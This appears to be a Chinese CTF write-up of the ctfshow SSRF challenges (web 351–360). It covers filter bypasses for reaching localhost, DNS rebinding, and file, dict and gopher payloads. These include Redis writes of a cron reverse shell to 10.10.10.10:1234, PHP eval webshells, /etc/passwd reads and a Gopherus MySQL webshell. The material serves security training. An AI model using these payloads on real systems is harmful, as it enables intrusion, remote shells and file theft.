ctfshow——SSRF

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

web 351

在这里插入图片描述
首先看关于curl_init的一个例子:

$ch = curl_init(); // 初始化cURL会话

// 设置cURL选项
curl_setopt($ch, CURLOPT_URL, 'https://example.com/api'); // 设置URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 将结果以字符串形式返回,而不是直接输出到屏幕

// 执行cURL请求
$response = curl_exec($ch);

// 检查是否有错误发生
if(curl_errno($ch)) {
    echo 'cURL错误:' . curl_error($ch);
}
// 关闭cURL会话
curl_close($ch);

其实就是网络请求的一段代码。flag.php不允许远程访问,只能用SSRF发起本地请求获取flag。
在这里插入图片描述

web 352

在这里插入图片描述
首先,先查一下parse_url的用法,主要是将一个URL拆分为协议、主机、路径、查询字符串等部分。
在这里插入图片描述
然后源码中想用preg_match过滤了127.0.0.1localhost关键字,但是没有指定对哪个变量过滤,所以条件恒为真。
在这里插入图片描述

web 353

这一关就对localhost、127.0.进行了过滤。
在这里插入图片描述
绕过方法:

进制绕过 		url=http://0x7F000001/flag.php # 127.0.0.1的十六进制表示
0.0.0.0绕过		url=http://0.0.0.0/flag.php # 0.0.0.0表示本机中所有的IPV4地址
特殊的地址0,	url=http://0/flag.php # 0在linux系统下被解析为127.0.0.1,在windows下解析为0.0.0.0
还有			url=http://127.1/flag.php #127.0.0.1的缩写形式
还有			url=http://127.0000000000000.001/flag.php
还有            url=http://0177.0.0.1/flag.php #0177是127的八进制表示 

在这里插入图片描述

web 354

在这里插入图片描述
这一关把localhost、0、1都过滤了,有一些公共HTTPS域名,但是可以解析到127.0.0.1。如:

http://safe.taobao.com/
http://114.taobao.com/
http://wifi.aliyun.com/
http://imis.qq.com/
http://localhost.sec.qq.com/
http://ecd.tencent.com/

在这里插入图片描述

web 355

在这里插入图片描述
这一关是域名长度小于5,可以用url=http://127.1/flag.php
在这里插入图片描述

web 356

在这里插入图片描述
域名长度小于3的话,用url=http://0/flag.php
在这里插入图片描述

web357

在这里插入图片描述
filter_var函数来验证IP地址的有效性,并且排除了私有IP范围(0.0.0.0/8、172.16.0.0/12和192.168.0.0/16)和保留IP范围(0.0.0.0/8和169.254.0.0/16。)。
DNS rebind进行DNS重绑定攻击,思路:第一次访问,域名第一次解析是127.0.0.1,第二次解析是104.56.61.24。第二次访问的时候,域名第一次解析是104.56.61.24,第二次解析是127.0.0.1。
在这里插入图片描述

在这里插入图片描述

web 358

就是说必须以http://ctf.开头,show结尾。http://ctf.@127.0.0.1/flag.php?show的意思是用ctf.用户登录到127.0.0.1,并且向flag.php传递参数show
在这里插入图片描述

web 359

在这里插入图片描述
抓包,改reurl参数,发现它会跳转到百度页面,说明此处存在SSRF漏洞。

在这里插入图片描述
一般可以使用file协议读取文件,dict协议探测端口,gopher一般用来攻击redis,mysql,fastcgi,smtp等服务。

// file协议
file:///etc/passwd
file:///var/www/html/index.php
file:///usr/local/apache-tomcat/conf/server.xml

//dict协议
一、dict协议探测端口和服务指纹
dict://127.0.0.1:22
dict://172.22.10.10:3306
dict://127.0.0.1:6379/info
 
二、dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
 
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save
 
注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"
 
三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save

若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"
 
四、dict协议攻击redis,写入ssh公钥
操作和写入定时任务相似 

这里用Gopherus去生成webshell,其实本质还是使用gopher协议。注意:Gopherus使用python2

# python2安装pip
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py

# 安装Gopherus
./install.sh

# 使用Gopherus
python2 gopherus.py --exploit mysql
root
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';

在这里插入图片描述
curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode。这里需要对_后面的数据进行二次URL编码。
在这里插入图片描述

web 360

跟359差不多,只是将mysql变为了redis。

  • 5
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值